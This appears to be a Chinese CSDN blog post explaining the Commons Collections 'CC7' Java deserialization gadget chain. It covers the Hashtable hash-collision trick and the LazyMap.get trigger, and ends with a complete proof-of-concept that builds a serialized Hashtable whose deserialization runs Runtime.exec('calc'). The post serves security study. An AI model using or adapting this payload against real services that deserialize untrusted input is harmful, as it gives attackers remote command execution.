java cc链7

本文详细解释了Java中序列化过程中equals方法的调用链,涉及Hashtable、LazyMap、HashMap等类的交互,以及如何利用ChainedTransformer和invokerTransformer进行断链防止系统命令执行。
摘要由CSDN通过智能技术生成

java cc链7
相对而言,理解有点绕
执行命令的位置不变,与cc5相同,直接复制即可,

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get

实际上是Hashtable.readObject--> Hashtable.reconstitutionPut-->Lazymap.equals-->AbstractMapDecorator.equals-->Hashmap-->AbstractMap.equals-->LazyMap.get
Hashtable的readObject方法调用了reconstitutionPut方法,这里传入的是Lazymap,所以调用了Lazymap.equals,Lazymap没有equals方法,调用
Lazymap父类AbstractMapDecorator.equals方法,该方法又调用了map.equals方法(Lazymap属于HashMap),所以进入Hashmap中,但由于该类中没有equals方法,找到Hashmap的父类,AbstractMap.equals方法
Hashtable.reconstitutionPut方法中,

        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;

这段代码是为了检测键的hash是否唯一,首先tab[]数组中是没有数据的,也就是说for循环不成立,第一个键不会进入循环中,而是在tab[index]添加了一组数据用于与其他的键进行比对,我们想要执行e.key.equals(key)方法,就需要e.hash == hash成立,也就是说第一条数据和第二条数据键的hash需要相同,由于yy和zZ的hash值相同,传入这两条数据后能够进入equals方法中,

lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);

由于上文的equals调用链,最后调用的是LazyMap.get方法,这里为什么要使用lazyMap2进行删除,是因为lazyMap1进入到了tab[index]数组中,没有继续运行,为什么删除的是yy,yy在tab[index]Entry中,在AbstractMap.equals方法中,

Iterator<Entry<K,V>> i = entrySet().iterator();//获取所有的键值对
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();

而现在的键值对只有一个就是tab[index]Entry,里面的数据是tab[index].getkey()=yy,进入LazyMap.get方法中,第一次是序列化运行的断链,但是在map中添加了一个名为yy的key,导致反序列化时,map.containsKey(key)等于true,无法进入if中,所以最后的poc为

 public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.bin"));
        oos.writeObject(object);
    }


    //定义反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
    public static void main(String[] args) throws Exception {
        final Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc"}),
                new ConstantTransformer(1)};
        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
        lazyMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);
        lazyMap2.remove("yy");
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);
        serialize(hashtable);
        unserialize("person.bin");

使用断链的方式,预防序列化的时候执行系统命令
参考:
XINO丶

  • 8
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值